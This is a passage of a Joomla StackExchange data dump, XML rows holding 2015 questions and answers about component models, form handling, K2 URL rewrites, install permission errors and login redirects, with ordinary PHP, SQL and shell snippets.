  <row Id="10099" PostTypeId="1" AcceptedAnswerId="10106" CreationDate="2015-05-25T10:50:05.507" Score="2" ViewCount="1007" Body="&lt;p&gt;Let's imagine we have custom component similar to small shop, that contains many products. Database is very relational. Now we want to display list of all the products in our shop using overwritten model's method &lt;code&gt;getListQuery()&lt;/code&gt;. There we have query with multiple joins. In &lt;code&gt;view.html.php&lt;/code&gt; we fetch all items by &lt;code&gt;$this-&amp;gt;get('items')&lt;/code&gt; and everything is ready to present data.&#xA;This is option no 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have idea to make it more object-oriented. It means &lt;code&gt;getListQuery()&lt;/code&gt; doesn't use any relations to get additional data which describe product. It only gets PK and columns from products table. Now we overwrite model's &lt;code&gt;getItems()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getItems() {&#xA;        $items = parent::getItems();&#xA;        for($i=0;$i&amp;lt;count($items);++$i){&#xA;            $Product = JTable::getInstance('Product');&#xA;            $Product-&amp;gt;bind($items[$i]);&#xA;            $items[$i] = $Product;&#xA;        }&#xA;        return $items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now every item is instance of OurComponentTableProduct. This table has getters to get product data that is located in other table. Directly in view we use getters to some data, for example &lt;code&gt;getName()&lt;/code&gt; or &lt;code&gt;getCategory()&lt;/code&gt;. This is my 2nd option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, second option is similar to Entity or Java DAO (I think so). In this case our entity is Table class. Moreover I think it is more elastic and elegant. I see here disadvantage caused by making additional queries to database. &#xA;For example, product prices are located in another table than product primary data and these tables have relation product_id-product_id.&#xA;Using first option we can just JOIN table with prices and select column. In second option we write &lt;code&gt;getPrice&lt;/code&gt; method that create query and fetch price. Every item do himself query.In first option we fetch everything in one query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, we have view with product details. Here we can again write one huge query to fetch this product (DRY rule), but we can also use our &lt;code&gt;OurComponentTableProduct&lt;/code&gt;. Just load by PK and this is all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Performance is very imporant for me, beacause I'm just developing big component with a large number of rows in db: hundreds of thousands in each relational table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think is better solution and why?&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2015-05-25T20:23:16.090" Title="Model's getItem(): object-oriented way or traditional one" Tags="|joomla-2.5|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10100" PostTypeId="2" ParentId="9337" CreationDate="2015-05-25T13:15:06.837" Score="1" Body="&lt;p&gt;Try this &lt;strong&gt;function loadFormData()&lt;/strong&gt; for your model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function loadFormData()&#xA;{&#xA;    $data = JFactory::getApplication()-&amp;gt;getUserState('com_student.edit.student.data', array());&#xA;&#xA;    if (empty($data))&#xA;    {&#xA;        $data = $this-&amp;gt;getItem();&#xA;    }&#xA;&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="52" LastEditDate="2015-06-11T14:24:51.540" LastActivityDate="2015-06-11T14:24:51.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10102" PostTypeId="2" ParentId="10089" CreationDate="2015-05-25T14:37:51.130" Score="1" Body="&lt;p&gt;Actually not an answer, but some &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=628&amp;amp;t=585387&quot; rel=&quot;nofollow noreferrer&quot;&gt;research&lt;/a&gt; shows that:&#xA;If you rename &lt;code&gt;fields&lt;/code&gt; name to &lt;code&gt;attribs&lt;/code&gt; like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;fields name=&quot;attribs&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;you can add the additional tabs (with fields) in most of the component forms:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;com_templates.style &lt;/li&gt;&#xA;&lt;li&gt;com_categories.categorycom_content&lt;/li&gt;&#xA;&lt;li&gt;com_categories.categorycom_contact &lt;/li&gt;&#xA;&lt;li&gt;com_contact.contact com_menus.item&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can add them even in &lt;code&gt;com_categories.categorycom_banners&lt;/code&gt;, but this is not the case with &lt;strong&gt;&lt;code&gt;com_banners.banner&lt;/code&gt;&lt;/strong&gt;. It is possible to have here bug in Joomla! - see &lt;a href=&quot;https://stackoverflow.com/questions/7043784/how-do-you-modify-category-forms-in-joomla&quot;&gt;here&lt;/a&gt; (though only guess)&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-05-25T14:37:51.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10103" PostTypeId="2" ParentId="9633" CreationDate="2015-05-25T14:45:52.600" Score="2" Body="&lt;p&gt;The pages I need to disable the plugin for are pages of single VM orders that are being generated every time when a shopper make an order so it's impossible to create menu items for these pages. At the same time I've already found the following solution: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to open &lt;strong&gt;plugins/system/addfullajax/addfullajax.php&lt;/strong&gt;, find the condition that starts from the row 90:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(get_class($doc) != 'JDocumentHTML'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to comment this condition including the row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;} elseif($this-&amp;gt;nedAjaxRespons) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and below to write our new condition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($app-&amp;gt;input-&amp;gt;get('option') == 'com_virtuemart' &amp;amp;&amp;amp; $app-&amp;gt;input-&amp;gt;get('view') == 'orders') {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to comment the row 155:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//$this-&amp;gt;axJsAllowed = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and copy-past this row before the end of our condition&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-05-25T14:45:52.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10104" PostTypeId="2" ParentId="9337" CreationDate="2015-05-25T14:47:27.593" Score="1" Body="&lt;p&gt;Please try following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You must create JTable class and add following code in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __construct(&amp;amp;$db)&#xA;{&#xA;     parent::__construct('#__yourtablename', 'id', $db);&#xA;     // Assumes &quot;id&quot; should be primary key of your table.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Check in DB and make sure that you have primary key set for &quot;#__yourtablename&quot;. Also it must be set as AUTO_INCREMENT if not then try following queries in your MySQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__yourtablename` ADD PRIMARY KEY(`id`);&#xA;ALTER TABLE `#__yourtablename` CHANGE `id` `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again above assumes that, you have &lt;code&gt;id&lt;/code&gt; column in your table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Replace &quot;#__&quot; with your table prefix.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-25T14:47:27.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10105" PostTypeId="1" CreationDate="2015-05-25T15:25:25.463" Score="3" ViewCount="415" Body="&lt;p&gt;I've just migrated to Joomla 3 and my K2 URLs are returning 404's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before the migration this was an example of a correct URL: [url=&lt;a href=&quot;https://www.portal-gestao.com/item/7687-o-que-significa-mass-customization.html]URL[/url]&quot; rel=&quot;nofollow&quot;&gt;https://www.portal-gestao.com/item/7687-o-que-significa-mass-customization.html]URL[/url]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the migration, this page opens with this URL: [url=&lt;a href=&quot;https://www.portal-gestao.com/slideshow/item/7687-o-que-significa-mass-customization.html]URL[/url]&quot; rel=&quot;nofollow&quot;&gt;https://www.portal-gestao.com/slideshow/item/7687-o-que-significa-mass-customization.html]URL[/url]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the category is now behind the /item/ part of the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very important, for SEF reasons, to preserve the old URL structure. I had the following line in .htaccess to force all K2 items to that structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^.+/item/(.+)$ /item/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I bring this URL structure back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help please!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2016-12-09T11:58:41.973" Title="K2 URLs not working after migration to Joomla 3" Tags="|k2|url|sef|.htaccess-configuration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10106" PostTypeId="2" ParentId="10099" CreationDate="2015-05-25T20:08:11.460" Score="2" Body="&lt;p&gt;I would suggest you to use mixed versions of both the cases.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Product and its related information in one join query&lt;/li&gt;&#xA;&lt;li&gt;Product statistics such as items sold etc., which cannot join in single query with another getXXX method.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Java DAO frameworks, such as Hibernate, and Joomla database API are entirely two different approaches. Joomla database queries (with model) are designed to work with single query. If you want to use multiple functions for different tables there are few issues.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Joomla Model is designed to get a single query and fetch result for it. i.e. the query is tied to your model. If you want to use two different methods say getProduct and getPrice, you need to write your own implementation of fetching query for both methods. So you will end up adding separate model for each dataset.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will be overriding JModelList for fetching list of products. So your other objects like pagination, filters, form data - all are tied to your model. So again you need to do manual stuff for everything instead of simply using parent methods defined in JModelList.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Performance - It depends on lots of other factors like your indexes, how much data present etc. Fetching simple result from one table will always loads faster than a join. However you will loose the flexibility of building complex query and their by getting refined list using joins. And anyway you need to build all where clauses specific to each individual query if you are not using join. A join will be executing in memory of database and individual queries needs multiple calls to database. A well optimized database will fetch results faster using join compare to multiple individual results. Add the network overhead if your database on different server, for example using Amazon RDS.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Not all results can be derived by using multiple single queries. You will end up fetching unneeded data just to filter out the required dataset. For example, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. I want a list of products which are sold 10 days ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. Products in one table and transactions in other&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can you get only products which are sold 10 days ago without using joins?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From all above points, I would say writing individual queries for individual datasets have no added advantage.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-25T20:23:16.090" LastActivityDate="2015-05-25T20:23:16.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10107" PostTypeId="1" AcceptedAnswerId="10108" CreationDate="2015-05-25T20:45:42.753" Score="1" ViewCount="11383" Body="&lt;p&gt;I am trying to update my 3rd party component. But the installer after a while returns the error message, that the component failed to install and the warning &quot;Copy File Failed&quot;. &#xA;System information reports that Joomla directory permissions are ok (all writable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried installing also from the tmp directory - but yet the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla version is 3.4.1&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2020-03-08T15:18:31.593" Title="Copy file failed - when installing/updating component" Tags="|extensions|installation|permissions|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10108" PostTypeId="2" ParentId="10107" CreationDate="2015-05-25T20:45:42.753" Score="3" Body="&lt;p&gt;It proved to be a permissions issue. As always &lt;strong&gt;Akeeba Admin Tools&lt;/strong&gt; come in handy in such issues. I installed it, configured the permissions settings and applied the fix permissions feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to install again the update and this time it went smoothly and completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*Update:&lt;/strong&gt;&lt;br&gt;&#xA;This answer solved my issue - but @Lodder's answer provides a few additional information when permissions issues occur, - so make sure you read it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-30T13:04:20.967" LastActivityDate="2015-05-30T13:04:20.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10109" PostTypeId="2" ParentId="10094" CreationDate="2015-05-25T20:50:17.980" Score="2" Body="&lt;p&gt;You can override some classes with a system plugin, see &lt;a href=&quot;https://joomla.stackexchange.com/questions/205/how-to-override-core-classes&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can create your own authentication plugin, based on an extra field (you could choose one in the user profile plugin to use for that purpose), i.e. save the shared email as an extra field; then do the custom check).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would only work for authentication (after that, Joomla would use the normal i.e. wrong email field) I'm not sure this is what you want to achieve.&lt;/p&gt;&#xA;" OwnerUserId="377" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-05-25T20:50:17.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10110" PostTypeId="2" ParentId="10107" CreationDate="2015-05-25T23:06:37.387" Score="4" Body="&lt;p&gt;Just my 2 cents as there could always be some other issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to permissions, it's not always the chmod levels that need changing. It may sometimes be due to the directory group permissions. Changing the the group permissions can be achieved easily through SSH with a tool such as &lt;a href=&quot;http://www.chiark.greenend.org.uk/~sgtatham/putty/&quot; rel=&quot;nofollow&quot;&gt;Putty&lt;/a&gt; and the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd path/to/parent/directory&#xA;chgrp -R directory GROUP_NAME&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-R&lt;/code&gt; means &quot;recursive&quot; and this is optional&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possible cause might be that the &lt;code&gt;tmp&lt;/code&gt; directory has not been set correctly in the Joomla Global Configuration. This is a common mistake when users migrate a site from one server to another manually (without the likes of Akeeba Backup).&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-25T23:06:37.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10111" PostTypeId="1" AcceptedAnswerId="10115" CreationDate="2015-05-26T02:39:51.910" Score="0" ViewCount="915" Body="&lt;p&gt;I downloaded a component that when installed and activated, like every module sets it's URL to something like: www.mydomain.com/component/componentname/?parameters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is: how can I change the &lt;strong&gt;componentname&lt;/strong&gt; in the URL? I think I have to change a lot of files, but dont know exactly which ones. thanks&lt;/p&gt;&#xA;" OwnerUserId="5321" LastEditorUserId="126" LastEditDate="2015-06-04T15:38:57.880" LastActivityDate="2015-06-04T15:38:57.880" Title="Changing component's URLs" Tags="|joomla-3.x|module|url|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10112" PostTypeId="1" CreationDate="2015-05-26T03:12:13.510" Score="1" ViewCount="34" Body="&lt;p&gt;I have a form with multiple fields that are required. Now when I try to save the form and leave it as blank, a validation is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OZ591.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The validation is correct. However, I have more than 3 input fields that are required. I want to display them all at the same time. How do i do this?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2015-07-25T09:41:53.020" Title="Changing the number of validations displayed" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10113" PostTypeId="2" ParentId="10111" CreationDate="2015-05-26T03:16:15.793" Score="1" Body="&lt;p&gt;Your component should come with set of menu items it supports. Go to the menu manager and create its menu items. The &quot;component/componentname&quot; part will be replaced by your menu item alias.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-26T03:16:15.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10115" PostTypeId="2" ParentId="10111" CreationDate="2015-05-26T05:55:27.110" Score="-3" Body="&lt;p&gt;Either change your menu name(title) from admin section, and if it doesn't works then you need to do changes in your all files like :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your module name is &lt;em&gt;helloworld&lt;/em&gt; written as &lt;strong&gt;'mod_helloworld'&lt;/strong&gt; you need to &lt;strong&gt;&lt;em&gt;replace helloworld&lt;/em&gt;&lt;/strong&gt; with whatever name you want. For this you also need to change your module files name and module name as well and install it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is what you need is, and if it doesn't works then please specify clearly what is need to be done. &lt;/p&gt;&#xA;" OwnerUserId="5319" LastActivityDate="2015-05-26T05:55:27.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10116" PostTypeId="1" CreationDate="2015-05-26T07:50:06.643" Score="1" ViewCount="884" Body="&lt;p&gt;I am using a login module on my site and it is redirecting to some other module I am using for membership/subscription software.&#xA;If I connect login for a user with menu item I can say where should redirect after login, but I can´t do that when I use the module. Is there any way I can set URL after login in a module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried with making Guest group and setting the login module, to be seen only to non registered users in my page, but it is not working either.&lt;/p&gt;&#xA;" OwnerUserId="5324" LastEditorUserId="1995" LastEditDate="2015-05-26T11:31:02.807" LastActivityDate="2015-08-16T22:02:42.717" Title="Redirect after login using module" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10117" PostTypeId="2" ParentId="10116" CreationDate="2015-05-26T07:58:20.757" Score="1" Body="&lt;p&gt;Default joomla login module allows you to set the menu on which you want to redirect user after login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So create a menu for that url on which you want to redirect user and set that menu in the module parameter(Login Redirection Page).&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-05-26T07:58:20.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10118" PostTypeId="2" ParentId="10112" CreationDate="2015-05-26T08:17:22.953" Score="1" Body="&lt;p&gt;I finally found where it can be changed. This is under the Save function. I attached the code below: I just need to change the condition in the for loop from 3 to any number I want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Push up to three validation messages out to the user.&#xA;        for ($i = 0, $n = count($errors); $i &amp;lt; $n &amp;amp;&amp;amp; $i &amp;lt; 3; $i++)&#xA;        {&#xA;        if ($errors[$i] instanceof Exception)&#xA;        {&#xA;        $app-&amp;gt;enqueueMessage($errors[$i]-&amp;gt;getMessage(), 'warning');&#xA;        }&#xA;        else&#xA;        {&#xA;        $app-&amp;gt;enqueueMessage($errors[$i], 'warning');&#xA;        }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2015-05-26T08:17:22.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10119" PostTypeId="2" ParentId="3699" CreationDate="2015-05-26T08:20:26.127" Score="4" Body="&lt;p&gt;My first offering, so please don't shoot me. I've been fighting this one for a while and FINALLY found a solution that works well. Hoping to help others avoid this nightmare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key piece I was missing is that the jform was submitting the checkboxes field as an array (duh) so accessing &lt;code&gt;jform['whatever']&lt;/code&gt; did not give the expected results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OP said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In my perfect world, it would concatenate all the value and store them in one column&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;YES! You can do this with checkboxes. It works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;admin/models/forms/myform.xml&lt;/em&gt; I have a checkboxes field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;        type=&quot;checkboxes&quot;&#xA;        label=&quot;myfield&quot;&#xA;        name=&quot;myfield&quot;&#xA;        default=&quot;none&quot;&#xA;        multiple=&quot;true&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;something&quot;&amp;gt;something&amp;lt;/option&amp;gt;&#xA;...&#xA;        &amp;lt;option value=&quot;something else&quot;&amp;gt;something else&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;admin/views/myview/edit.php&lt;/em&gt; form field, I just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $field-&amp;gt;label; echo $field-&amp;gt;input;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;admin/models/myview.php&lt;/em&gt; I added a function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function prepareTable($table)&#xA;{&#xA;    // Fix the checkboxes data&#xA;    $form = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;    $myfield = $form['myfield'][0];&#xA;&#xA;    if (!isset($myfield))&#xA;    {&#xA;        $myfield = &quot;&quot;;&#xA;        $table-&amp;gt;myfield= $myfield;&#xA;    } &#xA;    else &#xA;    {&#xA;        $checkbox_options = $table-&amp;gt;myfield;&#xA;        $table-&amp;gt;myfield = implode(&quot;,&quot;, $checkbox_options);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It stores the data as comma separated values in the column. It stores a blank if the checkboxes are un-checked. YEAH!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since my form is also edited on the front end, I did almost the same thing in the front end. Form field and form are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I was already over-riding the save function in the controller, I just added this (with my other code as well):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save() &#xA;{&#xA;    $data = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;    $myfield = $data['myfield'][0];&#xA;&#xA;    if (!isset($myfield))&#xA;    {&#xA;        $myfield = &quot;&quot;;&#xA;        $data['myfield'] = $myfield;&#xA;    } &#xA;    else &#xA;    {&#xA;        $checkbox_options = $data['myfield'];&#xA;        $data['myfield'] = implode(&quot;,&quot;, $checkbox_options);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm sure I could have standardized that code even more. But right now I'm just happy to have this working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant documentation: &lt;a href=&quot;https://docs.joomla.org/Checkboxes_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Checkboxes_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5325" LastEditorUserId="168" LastEditDate="2015-05-26T08:47:53.710" LastActivityDate="2015-05-26T08:47:53.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10121" PostTypeId="1" CreationDate="2015-05-26T09:06:30.657" Score="1" ViewCount="387" Body="&lt;p&gt;The contact page of my site ( [url]&lt;a href=&quot;https://www.portal-gestao.com/contactos.html[/url]&quot; rel=&quot;nofollow&quot;&gt;https://www.portal-gestao.com/contactos.html[/url]&lt;/a&gt;) is returning the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Table 'portalge_2015.j30_offlajn_forms' doesn't exist SQL=SELECT fields FROM j30_offlajn_forms WHERE state=1 AND type='registration' AND (id &amp;lt; 99 OR language='pt-PT') ORDER BY id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just supposed to display the core Joomla contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same error is displayed when trying to edit a user in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any extension from offlajn installed anymore (I had improved ajax login &amp;amp; register in the past but had lots of bugs), so this is really something crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that some core joomla files have been hacked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried extracting J3.4 files over again but the error persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help anyone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2015-06-02T06:33:10.497" Title="Error Offlajn extensions" Tags="|joomla-3.x|extensions|mysql|error-handling|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10122" PostTypeId="2" ParentId="10121" CreationDate="2015-05-26T09:14:32.990" Score="2" Body="&lt;p&gt;&lt;code&gt;offlajn_forms&lt;/code&gt; is not a core Joomla table. It belongs to an &lt;strong&gt;offlajn&lt;/strong&gt; extension, so there is something on your site trying to pull data from this table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say that it is no longer installed, however please check for plugins, modules, components and libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla backend, go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extensions&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Extension Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Manage&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the search box, type in something like the first 3 letter of the extension (&lt;code&gt;off&lt;/code&gt;) and uninstall any results that are associated with it.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-26T09:14:32.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10123" PostTypeId="1" AcceptedAnswerId="10131" CreationDate="2015-05-26T09:57:06.450" Score="1" ViewCount="313" Body="&lt;p&gt;I have a Joomla 1.5 website that has a problem - when you login, it doesn't log you in and says &quot;Your session has expired. Please log in again.&quot; as a blue error message. However the page it is on is titled &quot;Registered Area&quot; and then says &quot;Welcome to the registered user area of our site.&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go through the cart and the details are not logged in so you have to login again, and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? I haven't done anything to the site recently. &lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-05-26T16:03:39.820" Title="Why do I have to login twice?" Tags="|virtuemart|login|joomla-1.5|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10124" PostTypeId="1" AcceptedAnswerId="14474" CreationDate="2015-05-26T10:39:52.877" Score="1" ViewCount="490" Body="&lt;p&gt;Suppose, I've two tables with following column:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#__table1 - id, col1, col2&#xA;#__table2 - id, col3, col4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've created JTable class in &lt;strong&gt;&lt;em&gt;tables&lt;/em&gt;&lt;/strong&gt; folder of my component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ComponentNameTableTable1 extends JTable&#xA;{&#xA;    function __construct(&amp;amp;$db)&#xA;    {&#xA;        parent::__construct('#__table1', 'id', $db);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the store method of JTable, I need to access &lt;code&gt;col3&lt;/code&gt; &amp;amp; &lt;code&gt;col4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store($updateNulls = false)&#xA;{&#xA;     $col1 = $this-&amp;gt;col1; // This is happening&#xA;     $col2 = $this-&amp;gt;col2; // This is not happening&#xA;     $col3 = $this-&amp;gt;col3; // This is not happening&#xA;     $col4 = $this-&amp;gt;col4; // This is 